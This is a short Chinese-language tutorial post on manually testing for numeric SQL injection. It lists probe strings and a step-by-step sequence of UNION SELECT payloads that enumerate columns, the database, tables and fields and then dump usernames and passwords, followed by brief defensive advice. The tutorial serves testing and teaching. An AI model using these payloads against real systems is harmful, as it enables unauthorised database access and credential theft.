Sql注入--数字型手工测试
2024-09-04 07:25:16
Sql注入--数字型手工测试
漏洞原因:是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)
测试语句:
- 直接加参数判断 ‘ / \ (有报错代表可能有注入点)
- 1 and 1=1
- 1 and 1=2
- 1’ or 1=1 --+
- 1’ or 1=1 #
- 1’ or ‘1’=’1
发现有注入点,测试步骤:
- 判断字段数 1' order by 2--+
- 查看可代入查询的点 1' union select 1,2--+
- 爆数据库 1' union select 1,database()--+
- 爆表 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
- 爆字段 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
- 爆内容 1' union select 1,concat(user,0x2f,password) from users --+
判断字段数,看到有回显的,说明有2个字段数。
通过union slelct 看到2个字段数,哪里可以代入查询,发现1跟2都可以
爆数据库
爆表,得到有2张表,我们关心是users表
查看users表的字段
查看user,password 内容,得到有5条数据
漏洞防护:
- 检查变量数据类型和格式
- 过滤特殊符号
- 绑定变量,使用预编译语句
Sql注入还有很多种类型,原因都是一样,难点主要是找注入点。当然用工具的话是会快很多。
好了数字型的手工注入,告一段落,下次带来sqlmap注入的简易操作
最新文章
- MySQL utf8mb4 字符集:支持 emoji 表情符号
- springMVC学习之接受JSON参数
- Python3基础 列表乘一个整数 扩增列表
- 附录1· 初识Linux操作系统
- WinForm 简单蒙版实现控件遮盖
- Unity3D客户端和Java服务端使用Protobuf
- java-GUI图形用户界面
- TinyMCE(富文本编辑器)
- linux下文件压缩与解压操作
- php获取文件创建时间、修改时间
- poj 2046 Gap
- bootstrap API地址
- CSS3实现漂亮ToolTips
- ME01:猎场中猎头的内核
- beta版本复审
- Beta冲刺(6/7)
- ajax csrf
- 桂林电子科技大学第三届ACM程序设计竞赛 G 路径
- Realm 处理List<;String>; 问题 Type parameter &#39;java.lang.String&#39; is not within its bound; should implement &#39;io.realm.RealmModel
- thinkphp5实现多级控制器